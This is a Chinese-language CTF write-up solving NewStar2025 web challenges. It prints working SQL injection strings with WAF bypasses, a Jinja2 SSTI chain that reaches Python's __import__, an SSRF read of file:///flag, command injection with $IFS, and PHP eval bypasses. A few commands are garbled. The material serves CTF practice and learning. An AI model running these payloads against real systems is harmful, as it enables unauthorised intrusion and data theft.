WEB NewStar2025 Web (正在复刻) GHSC 2026-08-29 2026-08-29 作者:ghsc
前言:小弟因比完賽就一直補課和補作業,補完就期末考,所以要寒假才可以复刻。
Week1 1.multi-headach3 什么叫机器人控制了我的头? 一看就知道是robots.txt
2.strange_login 簡單sql注入:
3.黑客小W的故事(1) HTTP 协议: 這題最後超難。
第一關:
1 抓包:看見了POST 傳參 {"count":1} , 修改一下 改成{"count":1000}
第二關: GET ?shipin=mogubaozi POST a=guding , 改DELETE 加上 b = chongzi
第三關:
User-Agent: CycloneSlash/1.0
User-Agent: CycloneSlash/2.0
User-Agent: CycloneSlash/2.0 , DashSlash/1.0
User-Agent: CycloneSlash/2.0 , DashSlash/5.0
4.宇宙的中心是php
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );include "flag.php" ;if (isset ($_POST ['newstar2025' ])){ $answer = $_POST ['newstar2025' ]; if (intval ($answer )!=47 &&intval ($answer ,0 )==47 ){ echo $flag ; }else { echo "你还未参透奥秘" ; } }
POST newstar2025 intval( !=47) 但是( =47)
八进制数 057 = 5*8 + 7 = 47
5.我真得控制你了
刷新和F12,拼手速
1 document .querySelector ('#shieldOverlay' ).remove ();
用BP爆破 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 轻轻松松绕 真的很轻松 源码 <?php error_reporting (0 );function generate_dynamic_flag ($secret ) { return getenv ("ICQ_FLAG" ) ?: 'default_flag' ; } if (isset ($_GET ['newstar' ])) { $input = $_GET ['newstar' ]; if (is_array ($input )) { die ("恭喜掌握新姿势" ); } if (preg_match ('/[^\d*\/~()\s]/' , $input )) { die ("老套路了,行不行啊" ); } if (preg_match ('/^[\d\s]+$/' , $input )) { die ("请输入有效的表达式" ); } $test = 0 ; try { @eval ("\$test = $input ;" ); } catch (Error $e ) { die ("表达式错误" ); } if ($test == 2025 ) { $flag = generate_dynamic_flag ($flag_secret ); echo "<div class='success'>拿下flag!</div>" ; echo "<div class='flag-container'><div class='flag'>FLAG: {$flag} </div></div>" ; } else { echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>" ; } } else { ?> <?php } ?>
6.别笑,你也过不了第二关
第二關要1000000分???????? , 看看完成第一關會怎樣
抓包沒有發什麼 , 應該是JS code了
試一試 score = 1000000 ;
Week2 1.DD加速器 可以用管道符
看看env , 想不到出現了flag
flag{c45bacbe-370b-44cf-aeb7-37a3c7f07873}
2.搞点哦润吉吃吃橘
F12 在控制台寫腳本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 (function ( ) { const expressionElement = document .getElementById ('expressionText' ); const tokenInput = document .getElementById ('tokenInput' ); const submitButton = document .getElementById ('submitBtn' ); const expression = expressionElement.textContent ; const regex = /token = \(\d+ \* (\d+)\) \^ (0x[0-9a-fA-F]+|\d+)/ ; const match = expression.match (regex); if (match && match.length === 3 ) { const multiplier = BigInt (match[1 ]); const xor_value = BigInt (match[2 ]); const currentTimestamp = BigInt (Math .floor (Date .now () / 1000 )); const token = (currentTimestamp * multiplier) ^ xor_value; tokenInput.value = token.toString (); submitButton.click (); console .log ('自动化流程已执行。计算出的 token:' , token.toString ()); console .log ('请检查结果。' ); } })();
3.白帽小K的故事(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 async function fetchload (file ) { try { const res = await fetch ('/v1/onload' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : `file=${encodeURIComponent (file)} ` }); const data = await res.json (); if (data.success ) { console .log ('File content:' , data.success ); } else { console .error ('Error loading file:' , data.error ); } } catch (e) { console .error ('Request failed' , e); } } fetchList ();
dirsearch一下 ,
應該有一個v1/upload 用post 方法的
Content-Type = application/x-www-form-urlencoded
file = urlencode(easty.php)
我剛剛上傳完另外一個文件 , 文件的字被urlencode了, run不了 , 我應該需要改一改一句話木馬
flag{51fe6807-7862-41b3-a4dc-3cd271b02f53}
4.真的是签到诶 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php highlight_file (__FILE__ );$cipher = $_POST ['cipher' ] ?? '' ;function atbash ($text ) { $result = '' ; foreach (str_split ($text ) as $char ) { if (ctype_alpha ($char )) { $is_upper = ctype_upper ($char ); $base = $is_upper ? ord ('A' ) : ord ('a' ); $offset = ord (strtolower ($char )) - ord ('a' ); $new_char = chr ($base + (25 - $offset )); $result .= $new_char ; } else { $result .= $char ; } } return $result ; } if ($cipher ) { $cipher = base64_decode ($cipher ); $encoded = atbash ($cipher ); $encoded = str_replace (' ' , '' , $encoded ); $encoded = str_rot13 ($encoded ); @eval ($encoded ); exit ; } $question = "真的是签到吗?" ;$answer = "真的很签到诶!" ;$res = $question . "<br>" . $answer . "<br>" ;echo $res . $res . $res . $res . $res ;?> 真的是签到吗?真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶!
处理流程如下:
获取 POST 参数 cipher。
对 $cipher 进行 base64_decode 解码。
对解码后的字符串进行 atbash 字母替换(Atbash 密码)。
移除 atbash 结果中的所有空格 (str_replace(‘ ‘, ‘’, …))。
对移除空格后的字符串进行 str_rot13 字母替换(ROT13 密码)。
将最终结果字符串通过 @eval() 执行。
還是沒反應??
有一個exit; 我們要在$encoded後面加一個die;
可以運行了 , 用$IFS 过滤一下
5.小E的管理系统 (复刻)
id是GET
sqlmap完全沒有用, 看來要手注了 ,???
url編碼繞過 ,
/**/被ban了
1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
列名都被ban了 ((((((
用了出題人的字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 length Length + handler like LiKe select SeleCT sleep SLEEp database DATABASe delete having or oR as As -~ BENCHMARK limit LimIt left Left select SELECT insert insERT INSERT right # --+ INFORMATION -- ; ! % + xor <> ( > < ) . ^ = AND ANd BY By CAST COLUMN COlumn COUNT Count CREATE END case '1'='1 when admin' " length + REVERSE ascii ASSIC ASSic select database left right union UNIon UNION " ' & && || oorr / // //* */* /**/ anandd GROUP HAVING IF INTO JOIN LEAVE LEFT LEVEL sleep LIKE NAMES NEXT NULL OF ON | infromation_schema user OR ORDER ORD SCHEMA SELECT SET TABLE THEN UNION UPDATE USER USING VALUE VALUES WHEN WHERE ADD AND prepare set update delete drop inset CAST COLUMN CONCAT GROUP_CONCAT group_concat CREATE DATABASE DATABASES alter DELETE DROP floor join rand() substr( substring( mid( rand( information_schema.tables TABLE_SCHEMA %df concat_ws() concat char( hex( ascii( LIMIT ORD ON extractvalue order CAST() by ORDER OUTFILE RENAME REPLACE SCHEMA SELECT SET updatexml SHOW SQL TABLE THEN TRUE instr benchmark format bin substring ord UPDATE VALUES VARCHAR VERSION WHEN WHERE /* ` , users %0a %0A %0b mid for BEFORE REGEXP RLIKE in sys schemma SEPARATOR XOR CURSOR FLOOR sys.schema_table_statistics_with_buffer INFILE count %0c from %0d %a0 = @ else %27 %23 %22 %20 %0a
200的有:
500的有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 1 length 2 Length 3 + 4 handler 5 like 6 LiKe 7 select 8 SeleCT 9 sleep 10 SLEEp 11 database 12 DATABASe 13 delete 14 having 15 or 16 oR 17 as 18 As 19 -~ 20 BENCHMARK 21 limit 22 LimIt 23 left 24 Left 25 select 26 SELECT 27 insert 28 insERT 29 INSERT 30 right 33 INFORMATION 36 ! 37 % 38 + 39 xor 40 <> 41 ( 42 > 43 < 44 ) 45 . 46 ^ 48 AND 49 ANd 50 BY 51 By 52 CAST 53 COLUMN 54 COlumn 55 COUNT 56 Count 57 CREATE 58 END 59 case 61 when 65 + 66 REVERSE 67 ascii 68 ASSIC 69 ASSic 71 database 72 left 73 right 74 union 75 UNIon 76 UNION 79 & 80 && 81 || 82 oorr 88 anandd 89 GROUP 90 HAVING 91 IF 92 INTO 93 JOIN 94 LEAVE 95 LEFT 96 LEVEL 97 sleep 98 LIKE 99 NAMES 100 NEXT 102 OF 103 ON 104 | 105 infromation_schema 106 user 107 OR 108 ORDER 109 ORD 110 SCHEMA 111 SELECT 112 SET 113 TABLE 114 THEN 115 UNION 116 UPDATE 117 USER 118 USING 119 VALUE 120 VALUES 121 WHEN 122 WHERE 123 ADD 124 AND 125 prepare 126 set 127 update 128 delete 129 drop 130 inset 131 CAST 132 COLUMN 133 CONCAT 134 GROUP_CONCAT 135 group_concat 136 CREATE 137 DATABASE 138 DATABASES 139 alter 140 DELETE 141 DROP 142 floor 143 join 144 rand() 148 rand( 149 information_schema.tables 150 TABLE_SCHEMA 151 %df 152 concat_ws() 153 concat 157 LIMIT 158 ORD 159 ON 160 extractvalue 161 order 162 CAST() 163 by 164 ORDER 165 OUTFILE 166 RENAME 167 REPLACE 168 SCHEMA 169 SELECT 170 SET 171 updatexml 172 SHOW 173 SQL 174 TABLE 175 THEN 177 instr 178 benchmark 179 format 180 bin 181 substring 182 ord 183 UPDATE 184 VALUES 185 VARCHAR 186 VERSION 187 WHEN 188 WHERE 190 ` 193 users 194 %0a 195 %0A 196 %0b 197 mid 198 for 199 BEFORE 200 REGEXP 201 RLIKE 202 in 204 SEPARATOR 205 XOR 206 CURSOR 207 FLOOR 208 sys.schema_table_statistics_with_buffer 209 INFILE 210 count 211 %0c 212 from 213 %0d 214 %a0 216 @ 217 else
只有200和500有用
使用以下的表構造payload:
1 2 3 4 5 6 1%0AORdeR%0ABy%0A1 1%0AORdeR%0ABy%0A10 1 ORdeR By 10
可以看見有5列 , 用id=-1%0aORDER%0aBY%0a5 測試了一下是可以的
要構造 UNION SELECT 語句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -1 UNION SELECT * from (SELECT NULL)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e
URL編碼一下: -1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master%0aWHERE%0atype%0aLIKE%0a0x7461626c65)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e
試一試:
-1 UNION SELECT * from (SELECT NULL)a
JOIN (SELECT group_concat(name) from sqlite_master)b
JOIN(SELECT NULL)c
JOIN(SELECT NULL)d
JOIN(SETECT NULL)e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -1 UNION SELECT * from (SELECT NULL)a JOIN (SELECT group_concat(name) from sqlite_master)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e
-1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e
“node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence”
要用=和’ 但是都是403 , 用LIKE(???)來取代
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 -1 UNION SELECT * from (SELECT NULL)a JOIN (SELECT group_concat(sql) from sqlite_master WHERE tbl_name LIKE (sys_config))a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e
“database error: Unable to prepare statement: no such column: sys_config”
當你寫 LIKE (sys_config) 且裡面沒有加上單引號時,資料庫的解析器會以為你想做的是: WHERE tbl_name LIKE 另一個叫做 sys_config 的欄位 但因為當前的查詢環境中根本沒有一個欄位叫做 sys_config,所以資料庫就直接報錯並終止執行。
把sys_config改成Hex sys_config 轉換為 Hex 的結果為:0x7379735f636f6e666967
“database error: Unable to prepare statement: hex literal too big: 0x7379735f636f6e666967”
這個錯誤訊息 hex literal too big: 0x7379735f636f6e666967 是 SQLite 語法解析器特有的限制所導致的
char( 不行被403了
利用 LIKE 的萬用字元(無需指定完整字串) 既然目標是定位到 sys_config 這張表,而我們又無法製造出 “sys_config” 這個字串,最簡單的方法就是不要完整拼出這個單字。
SQLite 的 LIKE 支援 %(代表任意長度字元)與 _(代表單一字元)。如果 WAF 沒有封鎖這兩個符號,且資料庫中沒有其他類似名稱的表,你可以用模糊比對來鎖定它:
語法概念:LIKE(s_s%) 或 LIKE(%config)
沒用
利用 LIMIT 與 OFFSET(完全避開字串比對)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 -1 UNION SELECT * from (SELECT NULL)a JOIN (SELECT sql from sqlite_master LIMIT 1 OFFSET 0)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e
“database error: Unable to prepare statement: SELECTs to the left and right of UNION do not have the same number of result columns”
對一對,小一位到d
-1%0D%0AUNION%0D%0ASELECT%0D%0A*%0D%0Afrom%0D%0A(SELECT%0D%0ANULL)a%0D%0AJOIN%0D%0A(SELECT%0D%0Asql%0D%0Afrom%0D%0Asqlite_master%0D%0ALIMIT%0D%0A1%0D%0AOFFSET%0D%0A0)a%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)b%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)c%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)d
“CREATE TABLE node_status (\n node_id INTEGER PRIMARY KEY,\n cpu_usage VARCHAR(10),\n ram_usage VARCHAR(10),\n status VARCHAR(15) CHECK(status IN (‘Online’,’Offline’,’Maintenance’)),\n last_checked DATETIME DEFAULT CURRENT_TIMESTAMP\n)”
改一改offset
-1%0D%0AUNION%0D%0ASELECT%0D%0A*%0D%0Afrom%0D%0A(SELECT%0D%0ANULL)a%0D%0AJOIN%0D%0A(SELECT%0D%0Asql%0D%0Afrom%0D%0Asqlite_master%0D%0ALIMIT%0D%0A1%0D%0AOFFSET%0D%0A1)a%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)b%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)c%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)d
1 2 3 4 5 CREATE TABLE sys_config ( id INTEGER PRIMARY KEY AUTOINCREMENT, config_key VARCHAR (50 ) UNIQUE , config_value TEXT )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 -1 UNION SELECT * from (SELECT NULL )aJOIN (SELECT config_value from sys_config LIMIT 1 OFFSET 0 )aJOIN (SELECT NULL )bJOIN (SELECT NULL )cJOIN (SELECT NULL )d
-1%0D%0AUNION%0D%0ASELECT%0D%0A*%0D%0Afrom%0D%0A(SELECT%0D%0ANULL)a%0D%0AJOIN%0D%0A(SELECT%0D%0Aconfig_value%0D%0Afrom%0D%0Asys_config%0D%0ALIMIT%0D%0A1%0D%0AOFFSET%0D%0A0)a%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)b%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)c%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)d
{“id”:null,”cpu”:”flag{725c2824-59f5-5491-a17d-836e3f383da9}”,”ram”:null,”status”:null,”lastChecked”:null}
Week3 1.小E的秘密计划 www.zip 為備份文件 , url/ww.zip下載 ,
看以看見index.html是https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/
進入public-555edc76-9621-4997-86b9-01483a50293e , 有一個login.php ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php require_once 'user.php' ;$userData = getUserData ();if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $username = $_POST ['username' ] ?? '' ; $password = $_POST ['password' ] ?? '' ; if ($username === $userData ['username' ] && $password === $userData ['password' ]) { header ('Location: /secret-xxxxxxxxxxxxxxxxxxx' ); exit (); } else { echo '登录失败,在git里找找吧' ; exit (); } }
用git bash進行控制
git bash
使用git进行版本控制
查看提交历史:
git log –oneline
$ git diff –name-status 1389b47 5f8ecc0 A tips.txt
$ git checkout 353b98f7c2fe77a5a426bf73576f5113820c4669
1 2 3 4 5 6 7 8 9 10 11 12 Note: switching to '353b98f7c2fe77a5a426bf73576f5113820c4669'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -c with the switch command. Example: git switch -c <new-branch-name> Or undo this operation with: git switch - Turn off this advice by setting config variable advice.detachedHead to false HEAD is now at 353b98f 测试,这个branch会删
$ git diff 1389b4798a8013a1c90fb2d867243d0da18c5175…353b98f7c2fe77a5a426bf73576f5113820c4669 –name-status
$ cat user.php
$ git switch master
換回master mode
$ cat index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <!DOCTYPE html > <html lang ="zh-CN" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Project X - 登录系统</title > <link rel ="stylesheet" href ="../css/style.css" > </head > <body > <div class ="floating-shapes" > <div class ="floating-shape shape-circle" style ="top: 15%; left: 10%;" > </div > <div class ="floating-shape shape-ring" style ="top: 40%; left: 85%;" > </div > <div class ="floating-shape shape-polygon" style ="top: 70%; left: 20%;" > </div > </div > <div class ="login-container" > <div class ="login-box" > <div class ="login-logo" > <h1 > PROJECT X</h1 > <p > 系统访问认证</p > <p > tips: 默认密码使用uuid4生成,不可能被爆破</p > </div > <form id ="login-form" > <div class ="input-group" > <label for ="username" > 用户ID</label > <input type ="text" id ="username" placeholder ="输入您的用户ID" > </div > <div class ="input-group" > <label for ="password" > 密码</label > <input type ="password" id ="password" placeholder ="输入您的密码" > </div > <div class ="login-actions" > <a href ="/" class ="btn" > 返回首页</a > <button type ="button" class ="btn btn-primary" id ="login-btn" > 验证登录</button > </div > <div class ="login-footer" > <p > 版本 5.1.4</p > </div > </form > </div > </div > <script > document .getElementById ('login-btn' ).addEventListener ('click' , function ( ) { const username = document .getElementById ('username' ).value ; const password = document .getElementById ('password' ).value ; fetch ('login.php' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : `username=${encodeURIComponent (username)} &password=${encodeURIComponent (password)} ` }) .then (response => { if (response.redirected ) { window .location .href = response.url ; } else { return response.text (); } }) .then (text => { if (text) { alert (text); } }) .catch (error => console .error ('Error:' , error)); }); </script > </body > </html >
用POST 方法 :
$ curl -k -X POST “https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/public-555edc76-9621-4997-86b9-01483a50293e/login.php “ -d “username=admin” -d “password=f75cc3eb-21e0-4713-9c30-998a8edb13de”
1 2 {"success":true,"message":"\u767b\u5f55\u6210\u529f\uff01\u6b63\u5728\u8df3\u8f6 c...","redirectUrl":"/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/"}
{“success”:true,”message”:”登录成功!正在跳转…”,”redirectUrl”:”/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/“}
因為是Mac寫的, 所以下載.DS_Store文件
https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
$ python3 ds_store_exp.pyhttps://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
1 2 [200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store [200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514
$ BASE_URL=”https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50 “ FILENAME=”ffffllllaaaagggg114514”
1 2 3 4 5 echo "--- Retrieving the Flag ---" curl -k "$BASE_URL/$BASEURL/BASE_URL/ BASEURL/FILENAME" --- Retrieving the Flag --- flag{2ba897a9-1533-432c-9d66-970200498634}
2.mygo!!! 看看html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <!doctype html > <html lang ="zh-CN" > <head > <meta charset ="utf-8" /> <meta name ="viewport" content ="width=device-width,initial-scale=1" /> <title > MyGo</title > <style > :root { --gap : 18px ; --btn-width : 220px ; --btn-padding : 12px 18px ; --btn-radius : 10px ; } *{box-sizing :border-box} html ,body {height :100% ;margin :0 } body { font-family : -apple-system, BlinkMacSystemFont, "Segoe UI" , Roboto, "Helvetica Neue" , Arial; min-height :100vh ; background-image : url ('mygo.jpg' ); background-size : cover; background-position : center; background-repeat : no-repeat; display :flex; align-items :center; justify-content :center; } .layout {width :100% ;max-width :1100px ;padding :40px ;display :flex;justify-content :space-between;align-items :center;} .col {display :flex;flex-direction :column;gap :var (--gap);align-items :flex-start;width :calc (var (--btn-width) + 10px );} .col .right {align-items :flex-end} .ghost-btn { width :var (--btn-width); padding :var (--btn-padding); border-radius :var (--btn-radius); background :transparent; color :#007BFF ; border :2px solid rgba (0 ,0 ,0 ,0.08 ); font-size :16px ; font-weight :600 ; text-align :center; cursor :pointer; transition :transform .16s ease, box-shadow .16s ease, background-color .16s ease; } .ghost-btn :hover { transform :translateY (-4px ); box-shadow :0 8px 20px rgba (0 ,0 ,0 ,0.08 ); background-color : rgba (255 ,255 ,255 ,0.02 ); } @media (max-width :720px ){ .layout {flex-direction :column;gap :24px ;padding :22px } .col {width :100% ;align-items :center} .col .right {align-items :center} .ghost-btn {width :100% ;max-width :420px } } audio {display :block;margin-top :20px ;width :100% ;} </style > </head > <body > <main class ="layout" > <section class ="col left" > <button class ="ghost-btn" data-url ="http://localhost/chunriying.mp3" > 春日影</button > <button class ="ghost-btn" data-url ="http://localhost/mixingjiao.mp3" > 迷星叫</button > </section > <section class ="col right" > <button class ="ghost-btn" data-url ="http://localhost/shichaoban.mp3" > 诗超绊</button > <button class ="ghost-btn" data-url ="http://localhost/???" > flag</button > </section > </main > <audio id ="player" controls autoplay > </audio > <script > const player = document .getElementById ('player' ); document .querySelectorAll ('.ghost-btn' ).forEach (btn => { btn.addEventListener ('click' , () => { const url = btn.getAttribute ('data-url' ); player.src = `index.php?proxy=${encodeURIComponent (url)} ` ; player.play (); }); }); </script > </body > </html >
可以看見它不是直接播放 URL,而是将 URL 作为参数传递给 index.php (player.src = \index.php?proxy=${encodeURIComponent(url)};),这暗示着音频流是通过服务器端的 PHP 脚本进行代理传输的。
用BP抓一下包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /index.php?proxy=http%3A%2F%2Flocalhost%2F%3F%3F%3F HTTP/2 Host: eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: zh-TW,zh;q=0.9 Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/ Range: bytes=0- Priority: i
的確是proxy
dirsearch一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |. _ _ _ _ _ | v0.4.3 (||| ) (/(|| (| ) Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292 Target: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/ [09:18:06] Scanning: [09:19:05] 403 - 38B - /flag.php [09:19:10] 200 - 3KB - /index.php [09:19:10] 200 - 3KB - /index.php/login/ [09:19:34] 403 - 312B - /server-status [09:19:34] 403 - 312B - /server-status/ Task Completed
有一個flag.php
本地人 ,
http://localhost/flag.php?soyorin=file:///flag
3.who’ssti (复刻) 本题考查了选手对于 SSTI 最基础的构造方法。
choice
dedent
fmean
get_close_matches
load
這一題要用ssti來調用函數 , 把以下函數全部都調用完就可以拿到flag ,
有原文件 , 不用判斷了 , 是flask
Jinja2
{{func()}}來調用:
先試一試 {{choice()}}
看來{{func()}}失敗了
但是它說已经调用了 1 个函数:load
5.2分析:
這份原始碼其實是標準 Flask/Jinja2 的 render_template_string(template) 裸渲染,沒有 sandbox、也沒有把 choice/dedent/… 這些函數放進 context(internal_web.py 只有直接 render 你送進去的字串)。
另外外層 app.py 只是把你表單的 name 轉發到內部 5001 的 template 參數去渲染。
所以你打:
`{{ choice() }}`
會失敗很正常。模板裡根本沒有叫 choice 的變數/函數。
直接給你一條 payload:用 Jinja2 SSTI 先拿到 import ,再把 5 個函數都「真的呼叫到」
Jinja2 預設有 cycler 這類全域物件,我們可以用它的 init .globals 拿到 builtins ,進而用 import 匯入標準庫,然後依序呼叫:
random.choice
textwrap.dedent
statistics.fmean
difflib.get_close_matches
json.load(用 io.StringIO 做成檔案物件,餵 ‘null’ 這種合法 JSON)
1 2 3 4 5 6 7 8 9 10 {{ ( cycler.__init__.__globals__.__builtins__.__import__('random').choice([1]), cycler.__init__.__globals__.__builtins__.__import__('textwrap').dedent(' x'), cycler.__init__.__globals__.__builtins__.__import__('statistics').fmean([1,2,3]), cycler.__init__.__globals__.__builtins__.__import__('difflib').get_close_matches('a',['a','b']), cycler.__init__.__globals__.__builtins__.__import__('json').load( cycler.__init__.__globals__.__builtins__.__import__('io').StringIO('null') ) ) }}
4.ez-chain (复刻) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header ('Content-Type: text/html; charset=utf-8' );function filter ($file ) { $waf = array ('/' ,':' ,'php' ,'base64' ,'data' ,'zip' ,'rar' ,'filter' ,'flag' ); foreach ($waf as $waf_word ) { if (stripos ($file , $waf_word ) !== false ) { echo "waf:" .$waf_word ; return false ; } } return true ; } function filter_output ($data ) { $waf = array ('f' ); foreach ($waf as $waf_word ) { if (stripos ($data , $waf_word ) !== false ) { echo "waf:" .$waf_word ; return false ; } } while (true ) { $decoded = base64_decode ($data , true ); if ($decoded === false || $decoded === $data ) { break ; } $data = $decoded ; } foreach ($waf as $waf_word ) { if (stripos ($data , $waf_word ) !== false ) { echo "waf:" .$waf_word ; return false ; } } return true ; } if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; if (filter ($file ) !== true ) { die (); } $file = urldecode ($file ); $data = file_get_contents ($file ); if (filter_output ($data ) !== true ) { die (); } echo $data ; } highlight_file (__FILE__ );?>
輸入檢查 filter($file): 在 urldecode 前就檢查,擋到這些子字串就死:
/、:(所以你直接打 php://…、/flag 會死)
php、filter、base64、data、zip、rar、flag
輸出檢查 filter_output($data):
它會擋 字母 f(不分大小寫):
先在原始輸出 $data 檢查一次有沒有 f
然後會一直嘗試 base64_decode(只要解得出來而且內容有變就繼續解)
最後再檢查一次有沒有 f
這裹要URL encode 一下再看看waf是否可刷到:
防了….
